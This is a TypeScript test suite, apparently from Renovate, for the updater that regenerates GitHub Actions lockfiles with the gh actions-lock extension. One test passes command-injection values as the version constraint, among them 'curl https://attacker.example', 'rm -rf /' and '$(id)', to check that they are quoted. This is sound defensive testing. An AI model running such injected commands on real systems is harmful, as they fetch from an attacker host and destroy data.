import { codeBlock } from 'common-tags'; import { mockExecAll } from '~test/exec-util.ts'; import { hostRules } from '~test/host-rules.ts'; import { fs, git, logger, partial } from '~test/util.ts'; import { getConfig } from '../../../config/defaults.ts'; import { GlobalConfig } from '../../../config/global.ts'; import type { InternalGlobalConfigOptions, RepoGlobalConfig, } from '../../../config/types.ts'; import { TEMPORARY_ERROR } from '../../../constants/error-messages.ts'; import type { StatusResult } from '../../../util/git/types.ts'; import type { PackageFile, PostUpdateConfig, Upgrade } from '../types.ts'; import { updateActionsLockfile } from './artifacts.ts'; vi.mock('../../../util/fs/index.ts'); const actionsLockVersion = 'v0.4.0'; const actionsLock = codeBlock` # This file is machine-generated by \`gh actions-lock\`. # Do not edit by hand; run \`gh actions-lock\` to update. # Docs: https://gh.io/actions-lockfile version: 'v0.0.2' workflows: '.github/workflows/ci.yml': - 'actions/checkout@v4.3.1' - 'actions/setup-go@v5.6.0' '.github/workflows/dependency-review.yml': - 'actions/checkout@v4.3.1' - 'actions/dependency-review-action@v4.9.0' '.github/workflows/release.yml': - 'actions/checkout@v6.0.2' dependencies: 'actions/checkout@v4.3.1': ref: 'v4.3.1' commit: 'sha1-34e114876b0b11c390a56381ad16ebd13914f8d5' owner_id: 44036562 repo_id: 197814629 'actions/checkout@v6.0.2': ref: 'v6.0.2' commit: 'sha1-de0fac2e4500dabe0009e67214ff5f5447ce83dd' owner_id: 44036562 repo_id: 197814629 'actions/dependency-review-action@v4.9.0': ref: 'v4.9.0' commit: 'sha1-2031cfc080254a8a887f58cffee85186f0e49e48' owner_id: 44036562 repo_id: 476372928 'actions/setup-go@v5.6.0': ref: 'v5.6.0' commit: 'sha1-40f1582b2485089dde7abd97c1529aa768e1baff' owner_id: 44036562 repo_id: 192624594 `; const packageFileName = '.github/workflows/ci.yml'; const releaseFileName = '.github/workflows/release.yml'; const lockFile = '.github/workflows/actions.lock'; const adminConfig: RepoGlobalConfig & InternalGlobalConfigOptions = { localDir: '/tmp/github/some/repo', cacheDir: '/tmp/cache', }; const checkoutUpgrade: Upgrade = { manager: 'github-actions', packageFile: packageFileName, depType: 'action', depName: 'actions/checkout', currentValue: 'v4.3.1', newValue: 'v4.4.0', }; const packageFiles: Record = { 'github-actions': [partial({ packageFile: packageFileName })], }; const twoWorkflows: Record = { 'github-actions': [ partial({ packageFile: packageFileName }), partial({ packageFile: releaseFileName }), ], }; /** As the tool marks the workflows it manages. */ function annotate(content: string): string { return `# This workflow is managed by gh actions-lock.\n${content}`; } function makeConfig( overrides: Partial = {}, ): PostUpdateConfig { return partial({ upgrades: [checkoutUpgrade], updatedPackageFiles: [ { type: 'addition', path: packageFileName, contents: 'updated workflow' }, ], // Mirrors production, where config is resolved against the shipped defaults. constraints: getConfig().constraints, ...overrides, }); } /** What `git` reports as modified once the tool has run. */ function mockRepoStatus( modified: string[] = [lockFile, packageFileName], ): void { git.getRepoStatus.mockResolvedValue(partial({ modified })); } /** The tool regenerated the lockfile and left the workflows alone. */ function mockLockfileRegenerated(): void { fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`) .mockResolvedValueOnce('updated workflow'); mockRepoStatus(); } describe('modules/manager/github-actions/artifacts', () => { beforeEach(() => { GlobalConfig.set(adminConfig); }); afterEach(() => { vi.unstubAllEnvs(); }); describe('skipping', () => { it.each` given | packageFiles ${'absent'} | ${undefined} ${'empty'} | ${{}} `( 'does nothing when the branch package files are $given', async ({ packageFiles, }: { packageFiles: Record | undefined; }) => { const execSnapshots = mockExecAll(); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res).toEqual({ updatedArtifacts: [], artifactErrors: [] }); expect(execSnapshots).toBeEmptyArray(); expect(fs.readLocalFile).not.toHaveBeenCalled(); }, ); it('does nothing when artifact updates are skipped', async () => { const execSnapshots = mockExecAll(); // `:disableLockFiles` must keep the tool away from the lockfile, as it does for every other manager's artifacts const res = await updateActionsLockfile( makeConfig({ skipArtifactsUpdate: true }), packageFiles, ); expect(res).toEqual({ updatedArtifacts: [], artifactErrors: [] }); expect(execSnapshots).toBeEmptyArray(); expect(fs.readLocalFile).not.toHaveBeenCalled(); }); it('does nothing when the repo has no lockfile', async () => { const execSnapshots = mockExecAll(); fs.readLocalFile.mockResolvedValueOnce(null); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toBeEmptyArray(); expect(execSnapshots).toBeEmptyArray(); expect(fs.writeLocalFile).not.toHaveBeenCalled(); }); it('warns and skips when the lockfile cannot be parsed', async () => { const execSnapshots = mockExecAll(); fs.readLocalFile.mockResolvedValueOnce('workflows: [a, b]'); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toBeEmptyArray(); expect(execSnapshots).toBeEmptyArray(); // a reshaped `workflows:` must be loud, not silently disable the feature expect(logger.logger.warn).toHaveBeenCalled(); }); it('does nothing when no locked dependency was updated', async () => { const execSnapshots = mockExecAll(); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile( makeConfig({ upgrades: [ { ...checkoutUpgrade, depType: 'container', depName: 'node' }, ], }), packageFiles, ); expect(res.updatedArtifacts).toBeEmptyArray(); expect(execSnapshots).toBeEmptyArray(); }); it('ignores upgrades from other managers, or with no package file', async () => { const execSnapshots = mockExecAll(); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile( makeConfig({ upgrades: [ { ...checkoutUpgrade, manager: 'npm' }, { ...checkoutUpgrade, packageFile: undefined }, ], }), packageFiles, ); expect(res.updatedArtifacts).toBeEmptyArray(); expect(execSnapshots).toBeEmptyArray(); }); it('ignores a workflow that is not onboarded to the lockfile', async () => { const execSnapshots = mockExecAll(); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile( makeConfig({ upgrades: [ { ...checkoutUpgrade, packageFile: '.github/workflows/not-onboarded.yml', }, ], }), packageFiles, ); expect(res.updatedArtifacts).toBeEmptyArray(); expect(execSnapshots).toBeEmptyArray(); }); it.each` packageFile ${'workflow-templates/ci.yml'} ${'.gitea/workflows/ci.yml'} ${'.forgejo/workflows/ci.yml'} ${'.gitea/actions/build/action.yml'} `( 'ignores $packageFile, which the tool never reads', async ({ packageFile }: { packageFile: string }) => { const execSnapshots = mockExecAll(); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile( makeConfig({ upgrades: [{ ...checkoutUpgrade, packageFile }] }), packageFiles, ); expect(res.updatedArtifacts).toBeEmptyArray(); expect(execSnapshots).toBeEmptyArray(); }, ); it('runs for a local composite action, which the lockfile does not key', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); // composite actions are transitive deps of an onboarded workflow, so the tool decides whether anything changes const res = await updateActionsLockfile( makeConfig({ upgrades: [ { ...checkoutUpgrade, packageFile: '.github/actions/build/action.yml', }, ], }), packageFiles, ); expect(res.updatedArtifacts).toHaveLength(1); expect(execSnapshots).toHaveLength(2); }); it('runs for a reusable workflow call', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); // the lockfile records `OWNER/REPO@REF` pins, and a reusable workflow call is one const res = await updateActionsLockfile( makeConfig({ upgrades: [{ ...checkoutUpgrade, depType: 'workflow' }], }), packageFiles, ); expect(res.updatedArtifacts).toHaveLength(1); expect(execSnapshots).toHaveLength(2); }); it('runs for a `docker://` uses dep', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); const res = await updateActionsLockfile( makeConfig({ upgrades: [{ ...checkoutUpgrade, depType: 'docker' }], }), packageFiles, ); expect(res.updatedArtifacts).toHaveLength(1); expect(execSnapshots).toHaveLength(2); }); it('runs for a local composite action when the lockfile has onboarded nothing', async () => { const execSnapshots = mockExecAll(); fs.readLocalFile .mockResolvedValueOnce("version: 'v0.0.2'\nworkflows: {}\n") .mockResolvedValueOnce("version: 'v0.0.2'\nworkflows: {}\n# updated\n") .mockResolvedValueOnce('updated workflow'); mockRepoStatus(); // a composite action isn't keyed by `workflows:`, so it still runs even when that key is missing entirely const res = await updateActionsLockfile( makeConfig({ upgrades: [ { ...checkoutUpgrade, packageFile: '.github/actions/build/action.yml', }, ], }), packageFiles, ); expect(res.updatedArtifacts).toHaveLength(1); expect(execSnapshots).toHaveLength(2); }); }); describe('regenerating', () => { it('runs the tool once and returns the lockfile', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toEqual([ { type: 'addition', path: lockFile, contents: `${actionsLock}# updated\n`, }, ]); // runs from the repo root, since the tool re-resolves every workflow expect(execSnapshots).toMatchObject([ { cmd: `gh extension install github/gh-actions-lock --force --pin ${actionsLockVersion}`, options: { cwd: '/tmp/github/some/repo' }, }, { cmd: 'gh actions-lock --no-interactive --relock --no-narrow --no-migrate-local-actions', options: { cwd: '/tmp/github/some/repo' }, }, ]); }); it('flushes every updated package file before running the tool', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`) .mockResolvedValueOnce('updated ci') .mockResolvedValueOnce('updated release'); mockRepoStatus([lockFile, packageFileName, releaseFileName]); await updateActionsLockfile( makeConfig({ updatedPackageFiles: [ { type: 'addition', path: packageFileName, contents: 'updated ci' }, { type: 'addition', path: releaseFileName, contents: 'updated release', }, ], }), twoWorkflows, ); // the whole branch has to be on disk, or the tool rebuilds the lockfile from pre-update content expect(fs.writeLocalFile).toHaveBeenCalledWith( packageFileName, 'updated ci', ); expect(fs.writeLocalFile).toHaveBeenCalledWith( releaseFileName, 'updated release', ); }); it('leaves package files from other managers alone', async () => { mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile( makeConfig({ updatedPackageFiles: [ { type: 'addition', path: packageFileName, contents: 'updated workflow', }, // a branch can group updates from other managers, whose contents can be binary { type: 'addition', path: 'gradle/wrapper/gradle-wrapper.jar', contents: Buffer.from([0x50, 0x4b, 0x03, 0x04]), }, ], }), packageFiles, ); expect(fs.writeLocalFile).toHaveBeenCalledExactlyOnceWith( packageFileName, 'updated workflow', ); }); it('returns workflows that the tool annotated', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`) .mockResolvedValueOnce(annotate('updated workflow')); mockRepoStatus(); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toMatchObject([ { path: lockFile }, { path: packageFileName, contents: annotate('updated workflow') }, ]); }); it('returns a workflow the branch did not update but the tool annotated', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`) .mockResolvedValueOnce('updated workflow') .mockResolvedValueOnce(annotate('release workflow')); mockRepoStatus([lockFile, packageFileName, releaseFileName]); // the tool re-annotates every onboarded workflow, so an edit to one this branch never touched still has to be committed const res = await updateActionsLockfile(makeConfig(), twoWorkflows); expect(res.updatedArtifacts).toMatchObject([ { path: lockFile }, { path: releaseFileName, contents: annotate('release workflow') }, ]); }); it('leaves files this manager does not own to their own manager', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`) .mockResolvedValueOnce('updated workflow'); mockRepoStatus([lockFile, packageFileName, 'package-lock.json']); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toMatchObject([{ path: lockFile }]); expect(fs.readLocalFile).not.toHaveBeenCalledWith( 'package-lock.json', 'utf8', ); }); it('returns nothing when the lockfile is unchanged', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce('updated workflow'); mockRepoStatus(); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toBeEmptyArray(); }); it('returns nothing when the lockfile disappeared', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(null) .mockResolvedValueOnce('updated workflow'); mockRepoStatus(); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toBeEmptyArray(); }); it('ignores an unreadable workflow', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`) .mockResolvedValueOnce(null); mockRepoStatus(); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.updatedArtifacts).toMatchObject([{ path: lockFile }]); }); it('ignores deletions among the updated package files', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`); mockRepoStatus([lockFile]); const res = await updateActionsLockfile( makeConfig({ updatedPackageFiles: [{ type: 'deletion', path: packageFileName }], }), packageFiles, ); expect(fs.writeLocalFile).not.toHaveBeenCalled(); expect(res.updatedArtifacts).toHaveLength(1); }); it('runs when there are no updated package files to flush', async () => { mockExecAll(); fs.readLocalFile .mockResolvedValueOnce(actionsLock) .mockResolvedValueOnce(`${actionsLock}# updated\n`); mockRepoStatus([lockFile]); const res = await updateActionsLockfile( makeConfig({ updatedPackageFiles: undefined }), packageFiles, ); expect(fs.writeLocalFile).not.toHaveBeenCalled(); expect(res.updatedArtifacts).toHaveLength(1); }); }); describe('extension pinning', () => { it('honours an overridden `ghActionsLock` constraint', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile( makeConfig({ constraints: { ghActionsLock: 'v0.1.7-rc.1' } }), packageFiles, ); expect(execSnapshots[0].cmd).toBe( 'gh extension install github/gh-actions-lock --force --pin v0.1.7-rc.1', ); }); it.each` constraint | quoted ${'v1 && curl https://attacker.example'} | ${"'v1 && curl https://attacker.example'"} ${'v1; rm -rf /'} | ${"'v1; rm -rf /'"} ${'$(id)'} | ${"'$(id)'"} ${"v1'"} | ${"'v1'\"'\""} `( 'quotes $constraint so it cannot escape the command', async ({ constraint, quoted, }: { constraint: string; quoted: string; }) => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile( makeConfig({ constraints: { ghActionsLock: constraint } }), packageFiles, ); expect(execSnapshots[0].cmd).toBe( `gh extension install github/gh-actions-lock --force --pin ${quoted}`, ); }, ); it('installs the latest when the constraint is set empty', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); // the pin has a default which `constraints: {}` cannot remove, since `constraints` is mergeable. // An empty value is the way to opt out. await updateActionsLockfile( makeConfig({ constraints: { ghActionsLock: '' } }), packageFiles, ); expect(execSnapshots[0].cmd).toBe( 'gh extension install github/gh-actions-lock --force', ); }); it('does not touch the extension with `binarySource=global`', async () => { GlobalConfig.set({ ...adminConfig, binarySource: 'global' }); const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); // the administrator owns the extension, so we must not re-pin it expect(execSnapshots).toMatchObject([ { cmd: 'gh actions-lock --no-interactive --relock --no-narrow --no-migrate-local-actions', }, ]); // ... but say so, since the constraint is silently inert otherwise expect(logger.logger.once.debug).toHaveBeenCalledWith( { constraint: actionsLockVersion }, expect.stringContaining('ignoring `constraints.ghActionsLock`'), ); }); }); describe('tooling and credentials', () => { it('passes the `gh` constraint through to the tool install', async () => { vi.stubEnv('CONTAINERBASE', 'true'); GlobalConfig.set({ ...adminConfig, binarySource: 'install' }); const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile( makeConfig({ constraints: { ...getConfig().constraints, gh: '2.62.0' }, }), packageFiles, ); expect(execSnapshots.map((s) => s.cmd)).toContain( 'install-tool gh 2.62.0', ); }); it('falls back to the extracted `gh` constraint', async () => { vi.stubEnv('CONTAINERBASE', 'true'); GlobalConfig.set({ ...adminConfig, binarySource: 'install' }); const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile( makeConfig({ extractedConstraints: { gh: '2.62.0' } }), packageFiles, ); expect(execSnapshots.map((s) => s.cmd)).toContain( 'install-tool gh 2.62.0', ); }); it('passes a github.com token as `GH_TOKEN`', async () => { const execSnapshots = mockExecAll(); hostRules.add({ hostType: 'github', matchHost: 'api.github.com', token: 'some-token', }); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); expect(execSnapshots[0].options?.env).toMatchObject({ GH_TOKEN: 'some-token', }); }); it('passes a GHES token as `GH_ENTERPRISE_TOKEN` with `GH_HOST`', async () => { GlobalConfig.set({ ...adminConfig, platform: 'github', endpoint: 'https://github.example.com/api/v3/', }); const execSnapshots = mockExecAll(); hostRules.add({ hostType: 'github', matchHost: 'github.example.com', token: 'ghes-token', }); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); expect(execSnapshots[0].options?.env).toMatchObject({ GH_HOST: 'github.example.com', GH_ENTERPRISE_TOKEN: 'ghes-token', }); expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_TOKEN'); }); it('also passes a github.com token on GHES, for public actions', async () => { GlobalConfig.set({ ...adminConfig, platform: 'github', endpoint: 'https://github.example.com/api/v3/', }); const execSnapshots = mockExecAll(); hostRules.add({ hostType: 'github', matchHost: 'github.example.com', token: 'ghes-token', }); hostRules.add({ hostType: 'github', matchHost: 'api.github.com', token: 'dot-com-token', }); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); // the tool resolves `actions/checkout` against github.com even from a GHES repository, and unauthenticated requests are rate limited hard expect(execSnapshots[0].options?.env).toMatchObject({ GH_HOST: 'github.example.com', GH_ENTERPRISE_TOKEN: 'ghes-token', GH_TOKEN: 'dot-com-token', }); }); it('does not let an ambient token shadow the one we resolved', async () => { vi.stubEnv('GH_TOKEN', 'ambient-token'); const execSnapshots = mockExecAll(); hostRules.add({ hostType: 'github', matchHost: 'api.github.com', token: 'some-token', }); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); expect(execSnapshots[0].options?.env).toMatchObject({ GH_TOKEN: 'some-token', }); }); it('still passes a github.com token when GHES has none', async () => { GlobalConfig.set({ ...adminConfig, platform: 'github', endpoint: 'https://github.example.com/api/v3/', }); const execSnapshots = mockExecAll(); hostRules.add({ hostType: 'github', matchHost: 'api.github.com', token: 'dot-com-token', }); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); expect(execSnapshots[0].options?.env).toMatchObject({ GH_TOKEN: 'dot-com-token', }); expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST'); }); it('treats an unparseable endpoint as github.com', async () => { GlobalConfig.set({ ...adminConfig, platform: 'github', endpoint: 'not-a-valid-url', }); const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); // no host to tell `gh` about, so nothing enterprise-specific expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST'); expect(execSnapshots[0].options?.env).not.toHaveProperty( 'GH_ENTERPRISE_TOKEN', ); }); it('resolves the token against github.com when the platform is not github', async () => { GlobalConfig.set({ ...adminConfig, platform: 'gitlab', endpoint: 'https://gitlab.example.com/', }); const execSnapshots = mockExecAll(); hostRules.add({ hostType: 'github', matchHost: 'api.github.com', token: 'some-token', }); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); // the configured endpoint isn't a GitHub one, so `gh` still talks to github.com expect(execSnapshots[0].options?.env).toMatchObject({ GH_TOKEN: 'some-token', }); expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_HOST'); }); it('runs unauthenticated when no token is configured', async () => { const execSnapshots = mockExecAll(); mockLockfileRegenerated(); await updateActionsLockfile(makeConfig(), packageFiles); expect(execSnapshots[0].options?.env).not.toHaveProperty('GH_TOKEN'); expect(logger.logger.debug).toHaveBeenCalledWith( 'No GitHub token found for `gh actions-lock`', ); }); }); describe('errors', () => { it('prefers stderr when the tool wrote one', async () => { const err = new Error('exit 1'); Object.assign(err, { stderr: 'could not resolve actions/checkout' }); mockExecAll(err); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.artifactErrors).toEqual([ { fileName: lockFile, stderr: 'could not resolve actions/checkout', }, ]); }); it('falls back past an empty stderr so the error is never blank', async () => { const err = new Error('gh: command failed'); Object.assign(err, { stderr: '', stdout: '' }); mockExecAll(err); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.artifactErrors[0].stderr).toBe('gh: command failed'); }); it('prefers stdout over an empty stderr', async () => { const err = new Error('exit 1'); Object.assign(err, { stderr: '', stdout: 'extension not found' }); mockExecAll(err); fs.readLocalFile.mockResolvedValueOnce(actionsLock); const res = await updateActionsLockfile(makeConfig(), packageFiles); expect(res.artifactErrors[0].stderr).toBe('extension not found'); }); it('rethrows a temporary error', async () => { mockExecAll(new Error(TEMPORARY_ERROR)); fs.readLocalFile.mockResolvedValueOnce(actionsLock); await expect( updateActionsLockfile(makeConfig(), packageFiles), ).rejects.toThrow(TEMPORARY_ERROR); }); }); });